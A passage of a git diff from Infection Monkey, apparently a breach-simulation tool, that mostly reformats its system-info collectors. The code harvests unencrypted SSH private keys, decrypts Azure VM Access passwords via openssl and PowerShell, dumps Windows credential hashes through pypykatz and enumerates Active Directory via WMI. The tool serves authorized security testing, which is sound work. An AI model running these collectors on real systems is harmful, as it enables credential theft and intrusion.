os.path.dirname(os.path.abspath(__file__)) diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index 3977d24443d..556b5472cc8 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -6,7 +6,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -__author__ = 'VakarisZ' +__author__ = "VakarisZ" LOG = logging.getLogger(__name__) @@ -16,7 +16,7 @@ class SSHCollector(object): SSH keys and known hosts collection module """ - default_dirs = ['/.ssh/', '/'] + default_dirs = ["/.ssh/", "/"] @staticmethod def get_info(): @@ -37,33 +37,41 @@ def get_ssh_struct(name, home_dir): known_hosts: contents of known_hosts file(all the servers keys are good for, possibly hashed) """ - return {'name': name, 'home_dir': home_dir, 'public_key': None, - 'private_key': None, 'known_hosts': None} + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } @staticmethod def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct('root', '') - home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() - if x.pw_dir.startswith('/home')] + root_dir = SSHCollector.get_ssh_struct("root", "") + home_dirs = [ + SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) + for x in pwd.getpwall() + if x.pw_dir.startswith("/home") + ] home_dirs.append(root_dir) return home_dirs @staticmethod def get_ssh_files(usr_info): for info in usr_info: - path = info['home_dir'] + path = info["home_dir"] for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: current_path = path + directory # Searching for public key - if glob.glob(os.path.join(current_path, '*.pub')): + if glob.glob(os.path.join(current_path, "*.pub")): # Getting first file in current path with .pub extension(public key) - public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info["public_key"] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): @@ -71,30 +79,35 @@ def get_ssh_files(usr_info): with open(private) as f: # no use from ssh key if it's encrypted private_key = f.read() - if private_key.find('ENCRYPTED') == -1: - info['private_key'] = private_key + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key LOG.info("Found private key in %s" % private) - T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() else: continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, 'known_hosts') + known_hosts = os.path.join(current_path, "known_hosts") if os.path.exists(known_hosts): try: with open(known_hosts) as f: - info['known_hosts'] = f.read() + info["known_hosts"] = f.read() LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass # If private key found don't search more - if info['private_key']: + if info["private_key"]: break except (IOError, OSError): pass except OSError: pass - usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] - or info['public_key']] + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] return usr_info diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index a5502a2c05a..5fc91f37184 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -19,7 +19,7 @@ # noinspection PyShadowingBuiltins WindowsError = psutil.AccessDenied -__author__ = 'uri' +__author__ = "uri" class OperatingSystem(IntEnum): @@ -36,9 +36,11 @@ def __init__(self): self.os = SystemInfoCollector.get_os() if OperatingSystem.Windows == self.os: from .windows_info_collector import WindowsInfoCollector + self.collector = WindowsInfoCollector() else: from .linux_info_collector import LinuxInfoCollector + self.collector = LinuxInfoCollector() def get_info(self): @@ -76,11 +78,10 @@ def get_network_info(self): :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] = \ - { - 'networks': get_host_subnets(), - 'netstat': NetstatCollector.get_netstat_info() - } + self.info["network_info"] = { + "networks": get_host_subnets(), + "netstat": NetstatCollector.get_netstat_info(), + } def get_azure_info(self): """ @@ -91,11 +92,12 @@ def get_azure_info(self): # noinspection PyBroadException try: from infection_monkey.config import WormConfiguration + if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes: return LOG.debug("Harvesting creds if on an Azure machine") azure_collector = AzureCollector() - if 'credentials' not in self.info: + if "credentials" not in self.info: self.info["credentials"] = {} azure_creds = azure_collector.extract_stored_credentials() for cred in azure_creds: @@ -105,11 +107,11 @@ def get_azure_info(self): self.info["credentials"][username] = {} # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user - self.info["credentials"][username]['password'] = password - self.info["credentials"][username]['username'] = username + self.info["credentials"][username]["password"] = password + self.info["credentials"][username]["username"] = username if len(azure_creds) != 0: self.info["Azure"] = {} - self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] + self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds] except Exception: # If we failed to collect azure info, no reason to fail all the collection. Log and continue. LOG.error("Failed collecting Azure info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index bb024019854..68cd05a4eb6 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -9,7 +9,7 @@ from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -__author__ = 'danielg' +__author__ = "danielg" LOG = logging.getLogger(__name__) @@ -21,7 +21,9 @@ class AzureCollector(object): def __init__(self): if sys.platform.startswith("win"): - self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + self.path = ( + "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + ) self.extractor = AzureCollector.get_pass_windows else: self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" @@ -46,21 +48,27 @@ def get_pass_linux(filepath): """ linux_cert_store = "/var/lib/waagent/" try: - json_data = json.load(open(filepath, 'r')) + json_data = json.load(open(filepath, "r")) # this is liable to change but seems to be stable over the last year - protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] - cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint'] + protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] + cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][ + "protectedSettingsCertThumbprint" + ] base64_command = """openssl base64 -d -a""" priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) - b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) + b64_proc = subprocess.Popen( + base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE + ) b64_result = b64_proc.communicate(input=protected_data + "\n")[0] - decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path - decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) + decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path + decrypt_proc = subprocess.Popen( + decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE + ) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) - T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() - return decrypt_data['username'], decrypt_data['password'] + T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send() + return decrypt_data["username"], decrypt_data["password"] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") return None @@ -68,7 +76,9 @@ def get_pass_linux(filepath): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + LOG.warning( + "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" + ) return None @staticmethod @@ -78,28 +88,36 @@ def get_pass_windows(filepath): :return: Username,password """ try: - json_data = json.load(open(filepath, 'r')) + json_data = json.load(open(filepath, "r")) # this is liable to change but seems to be stable over the last year - protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] - username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName'] + protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] + username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][ + "UserName" + ] # we're going to do as much of this in PS as we can. - ps_block = ";\n".join([ - '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', - '$base64 = "%s"' % protected_data, - "$content = [Convert]::FromBase64String($base64)", - "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", - "$env.Decode($content)", - "$env.Decrypt()", - "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", - "Write-Host $utf8content" # we want to simplify parsing - ]) - ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) + ps_block = ";\n".join( + [ + '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', + '$base64 = "%s"' % protected_data, + "$content = [Convert]::FromBase64String($base64)", + "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", + "$env.Decode($content)", + "$env.Decrypt()", + "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", + "Write-Host $utf8content", # we want to simplify parsing + ] + ) + ps_proc = subprocess.Popen( + ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE + ) ps_out = ps_proc.communicate(ps_block)[0] # this is disgusting but the alternative is writing the file to disk... - password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] + password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] - T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() + T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() + T1064Telem( + ScanStatus.USED, "Powershell scripts used to extract azure credentials." + ).send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -108,5 +126,7 @@ def get_pass_windows(filepath): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + LOG.warning( + "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" + ) return None diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index 94a7baf2a48..074d19cc195 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -4,7 +4,9 @@ from common.cloud.scoutsuite_consts import CloudProviders from common.common_consts.system_info_collectors_names import AWS_COLLECTOR from infection_monkey.network.tools import is_running_on_island -from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import scan_cloud_security +from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import ( + scan_cloud_security, +) from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) @@ -14,6 +16,7 @@ class AwsCollector(SystemInfoCollector): """ Extract info from AWS machines. """ + def __init__(self): super().__init__(name=AWS_COLLECTOR) @@ -28,10 +31,7 @@ def collect(self) -> dict: info = {} if aws.is_instance(): logger.info("Machine is an AWS instance") - info = \ - { - 'instance_id': aws.get_instance_id() - } + info = {"instance_id": aws.get_instance_id()} else: logger.info("Machine is NOT an AWS instance") diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index cdb5bc0459f..a95ac385bc1 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -48,4 +48,4 @@ def collect(self) -> dict: } continue - return {'process_list': processes} + return {"process_list": processes} diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 79aabea56e8..ec8a5e488bd 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -15,18 +15,20 @@ def scan_cloud_security(cloud_type: CloudProviders): try: results = run_scoutsuite(cloud_type.value) - if isinstance(results, dict) and 'error' in results and results['error']: - raise ScoutSuiteScanError(results['error']) + if isinstance(results, dict) and "error" in results and results["error"]: + raise ScoutSuiteScanError(results["error"]) send_scoutsuite_run_results(results) except (Exception, ScoutSuiteScanError) as e: logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return ScoutSuite.api_run.run(provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token) + return ScoutSuite.api_run.run( + provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token, + ) def send_scoutsuite_run_results(run_results: BaseProvider): diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index fb38f84c460..672f1c8a910 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -3,7 +3,7 @@ from infection_monkey.system_info import InfoCollector from infection_monkey.system_info.SSH_info_collector import SSHCollector -__author__ = 'uri' +__author__ = "uri" LOG = logging.getLogger(__name__) @@ -24,5 +24,5 @@ def get_info(self): """ LOG.debug("Running Linux collector") super(LinuxInfoCollector, self).get_info() - self.info['ssh_info'] = SSHCollector.get_info() + self.info["ssh_info"] = SSHCollector.get_info() return self.info diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py index bd35f312685..d35b4c1fbef 100644 --- a/monkey/infection_monkey/system_info/netstat_collector.py +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -6,7 +6,7 @@ import psutil -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" LOG = logging.getLogger(__name__) @@ -16,29 +16,28 @@ class NetstatCollector(object): Extract netstat info """ - AF_INET6 = getattr(socket, 'AF_INET6', object()) + AF_INET6 = getattr(socket, "AF_INET6", object()) proto_map = { - (AF_INET, SOCK_STREAM): 'tcp', - (AF_INET6, SOCK_STREAM): 'tcp6', - (AF_INET, SOCK_DGRAM): 'udp', - (AF_INET6, SOCK_DGRAM): 'udp6', + (AF_INET, SOCK_STREAM): "tcp", + (AF_INET6, SOCK_STREAM): "tcp6", + (AF_INET, SOCK_DGRAM): "udp", + (AF_INET6, SOCK_DGRAM): "udp6", } @staticmethod def get_netstat_info(): LOG.info("Collecting netstat info") - return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')] + return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind="inet")] @staticmethod def _parse_connection(c): - return \ - { - 'proto': NetstatCollector.proto_map[(c.family, c.type)], - 'local_address': c.laddr[0], - 'local_port': c.laddr[1], - 'remote_address': c.raddr[0] if c.raddr else None, - 'remote_port': c.raddr[1] if c.raddr else None, - 'status': c.status, - 'pid': c.pid - } + return { + "proto": NetstatCollector.proto_map[(c.family, c.type)], + "local_address": c.laddr[0], + "local_port": c.laddr[1], + "remote_address": c.raddr[0] if c.raddr else None, + "remote_port": c.raddr[1] if c.raddr else None, + "status": c.status, + "pid": c.pid, + } diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py index ee4bb21e83a..ac269f5b0c5 100644 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ b/monkey/infection_monkey/system_info/system_info_collector.py @@ -14,6 +14,7 @@ class SystemInfoCollector(Plugin, metaclass=ABCMeta): See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. """ + def __init__(self, name="unknown"): self.name = name diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index cc007ff8681..9c883084cc6 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -23,8 +23,11 @@ def execute_all_configured(self): except Exception as e: # If we failed one collector, no need to stop execution. Log and continue. LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) - LOG.info("All system info collectors executed. Total {} executed, out of which {} collected successfully.". - format(len(self.collectors_list), successful_collections)) + LOG.info( + "All system info collectors executed. Total {} executed, out of which {} collected successfully.".format( + len(self.collectors_list), successful_collections + ) + ) SystemInfoTelem({"collectors": system_info_telemetry}).send() diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 96d3912e38a..0bed5c7f8a6 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -2,13 +2,14 @@ from typing import List from infection_monkey.system_info.windows_cred_collector import pypykatz_handler -from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials +from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( + WindowsCredentials, +) LOG = logging.getLogger(__name__) class MimikatzCredentialCollector(object): - @staticmethod def get_creds(): creds = pypykatz_handler.get_windows_creds() diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py index ca146573f17..23bcce7717d 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -3,11 +3,21 @@ from pypykatz.pypykatz import pypykatz -from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials - -CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds', - 'kerberos_creds', 'credman_creds', 'tspkg_creds'] -PypykatzCredential = NewType('PypykatzCredential', Dict) +from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( + WindowsCredentials, +) + +CREDENTIAL_TYPES = [ + "msv_creds", + "wdigest_creds", + "ssp_creds", + "livessp_creds", + "dpapi_creds", + "kerberos_creds", + "credman_creds", + "tspkg_creds", +] +PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: @@ -19,7 +29,7 @@ def get_windows_creds() -> List[WindowsCredentials]: def _parse_pypykatz_results(pypykatz_data: Dict) -> List[WindowsCredentials]: windows_creds = [] - for session in pypykatz_data['logon_sessions'].values(): + for session in pypykatz_data["logon_sessions"].values(): windows_creds.extend(_get_creds_from_pypykatz_session(session)) return windows_creds @@ -32,7 +42,9 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred return windows_creds -def _get_creds_from_pypykatz_creds(pypykatz_creds: List[PypykatzCredential]) -> List[WindowsCredentials]: +def _get_creds_from_pypykatz_creds( + pypykatz_creds: List[PypykatzCredential], +) -> List[WindowsCredentials]: creds = _filter_empty_creds(pypykatz_creds) return [_get_windows_cred(cred) for cred in creds] @@ -42,27 +54,26 @@ def _filter_empty_creds(pypykatz_creds: List[PypykatzCredential]) -> List[Pypyka def _is_cred_empty(pypykatz_cred: PypykatzCredential): - password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password'] - ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash'] - lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash'] + password_empty = "password" not in pypykatz_cred or not pypykatz_cred["password"] + ntlm_hash_empty = "NThash" not in pypykatz_cred or not pypykatz_cred["NThash"] + lm_hash_empty = "LMhash" not in pypykatz_cred or not pypykatz_cred["LMhash"] return password_empty and ntlm_hash_empty and lm_hash_empty def _get_windows_cred(pypykatz_cred: PypykatzCredential): - password = '' - ntlm_hash = '' - lm_hash = '' - username = pypykatz_cred['username'] - if 'password' in pypykatz_cred: - password = pypykatz_cred['password'] - if 'NThash' in pypykatz_cred: - ntlm_hash = _hash_to_string(pypykatz_cred['NThash']) - if 'LMhash' in pypykatz_cred: - lm_hash = _hash_to_string(pypykatz_cred['LMhash']) - return WindowsCredentials(username=username, - password=password, - ntlm_hash=ntlm_hash, - lm_hash=lm_hash) + password = "" + ntlm_hash = "" + lm_hash = "" + username = pypykatz_cred["username"] + if "password" in pypykatz_cred: + password = pypykatz_cred["password"] + if "NThash" in pypykatz_cred: + ntlm_hash = _hash_to_string(pypykatz_cred["NThash"]) + if "LMhash" in pypykatz_cred: + lm_hash = _hash_to_string(pypykatz_cred["LMhash"]) + return WindowsCredentials( + username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash + ) def _hash_to_string(hash_: Any): diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index 165b00cf2d3..f2d9565b14d 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -1,87 +1,154 @@ from unittest import TestCase -from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session +from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import ( + _get_creds_from_pypykatz_session, +) class TestPypykatzHandler(TestCase): # Made up credentials, but structure of dict should be roughly the same PYPYKATZ_SESSION = { - 'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey', - 'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn', - 'logon_time': '2020-06-02T04:53:45.256562+00:00', - 'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086, - 'msv_creds': [ - {'username': 'monkey', 'domainname': 'ReAlDoMaIn', - 'NThash': b'1\xb7 Dict: - return {'username': self.username, - 'password': self.password, - 'ntlm_hash': self.ntlm_hash, - 'lm_hash': self.lm_hash} + return { + "username": self.username, + "password": self.password, + "ntlm_hash": self.ntlm_hash, + "lm_hash": self.lm_hash, + } diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 8a53898c769..f978a9942e0 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -3,7 +3,9 @@ import sys from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector +from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import ( + MimikatzCredentialCollector, +) sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config # noqa: E402 @@ -12,9 +14,9 @@ from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402 LOG = logging.getLogger(__name__) -LOG.info('started windows info collector') +LOG.info("started windows info collector") -__author__ = 'uri' +__author__ = "uri" class WindowsInfoCollector(InfoCollector): @@ -25,8 +27,8 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() self._config = infection_monkey.config.WormConfiguration - self.info['reg'] = {} - self.info['wmi'] = {} + self.info["reg"] = {} + self.info["wmi"] = {} def get_info(self): """ @@ -40,27 +42,28 @@ def get_info(self): # TODO: Think about returning self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration + if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: self.get_mimikatz_info() return self.info def get_installed_packages(self): - LOG.info('Getting installed packages') + LOG.info("Getting installed packages") packages = subprocess.check_output("dism /online /get-packages", shell=True) - self.info["installed_packages"] = packages.decode('utf-8', errors='ignore') + self.info["installed_packages"] = packages.decode("utf-8", errors="ignore") features = subprocess.check_output("dism /online /get-features", shell=True) - self.info["installed_features"] = features.decode('utf-8', errors='ignore') + self.info["installed_features"] = features.decode("utf-8", errors="ignore") - LOG.debug('Got installed packages') + LOG.debug("Got installed packages") def get_wmi_info(self): - LOG.info('Getting wmi info') + LOG.info("Getting wmi info") for wmi_class_name in WMI_CLASSES: - self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) - LOG.debug('Finished get_wmi_info') + self.info["wmi"][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) + LOG.debug("Finished get_wmi_info") def get_mimikatz_info(self): LOG.info("Gathering mimikatz info") @@ -70,8 +73,8 @@ def get_mimikatz_info(self): if "credentials" in self.info: self.info["credentials"].update(credentials) self.info["mimikatz"] = credentials - LOG.info('Mimikatz info gathered successfully') + LOG.info("Mimikatz info gathered successfully") else: - LOG.info('No mimikatz info was gathered') + LOG.info("No mimikatz info was gathered") except Exception as e: LOG.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index a42472b8285..71366a46698 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -1,31 +1,82 @@ -WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", - "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", - "Win32_OptionalFeature"} +WMI_CLASSES = { + "Win32_OperatingSystem", + "Win32_ComputerSystem", + "Win32_LoggedOnUser", + "Win32_UserAccount", + "Win32_UserProfile", + "Win32_Group", + "Win32_GroupUser", + "Win32_Product", + "Win32_Service", + "Win32_OptionalFeature", +} # These wmi queries are able to return data about all the users & machines in the domain. # For these queries to work, the monkey should be run on a domain machine and # # monkey should run as *** SYSTEM *** !!! # -WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", - "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", - "DS_objectSid", "DS_objectClass", "DS_memberOf", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", - "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", - "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), - - "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", - "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", - "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - - "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", - "DS_adminDisplayName", "DS_badPasswordTime", - "DS_badPwdCount", "DS_cn", "DS_distinguishedName", - "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", - "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", - "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", - "DS_whenChanged", "DS_whenCreated"), - } +WMI_LDAP_CLASSES = { + "ds_user": ( + "DS_sAMAccountName", + "DS_userPrincipalName", + "DS_sAMAccountType", + "ADSIPath", + "DS_userAccountControl", + "DS_objectSid", + "DS_objectClass", + "DS_memberOf", + "DS_primaryGroupID", + "DS_pwdLastSet", + "DS_badPasswordTime", + "DS_badPwdCount", + "DS_lastLogon", + "DS_lastLogonTimestamp", + "DS_lastLogoff", + "DS_logonCount", + "DS_accountExpires", + ), + "ds_group": ( + "DS_whenChanged", + "DS_whenCreated", + "DS_sAMAccountName", + "DS_sAMAccountType", + "DS_objectSid", + "DS_objectClass", + "DS_name", + "DS_memberOf", + "DS_member", + "DS_instanceType", + "DS_cn", + "DS_description", + "DS_distinguishedName", + "ADSIPath", + ), + "ds_computer": ( + "DS_dNSHostName", + "ADSIPath", + "DS_accountExpires", + "DS_adminDisplayName", + "DS_badPasswordTime", + "DS_badPwdCount", + "DS_cn", + "DS_distinguishedName", + "DS_instanceType", + "DS_lastLogoff", + "DS_lastLogon", + "DS_lastLogonTimestamp", + "DS_logonCount", + "DS_objectClass", + "DS_objectSid", + "DS_operatingSystem", + "DS_operatingSystemVersion", + "DS_primaryGroupID", + "DS_pwdLastSet", + "DS_sAMAccountName", + "DS_sAMAccountType", + "DS_servicePrincipalName", + "DS_userAccountControl", + "DS_whenChanged", + "DS_whenCreated", + ), +} diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index f82e7be444a..9576ff9f78b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,7 +5,7 @@ from 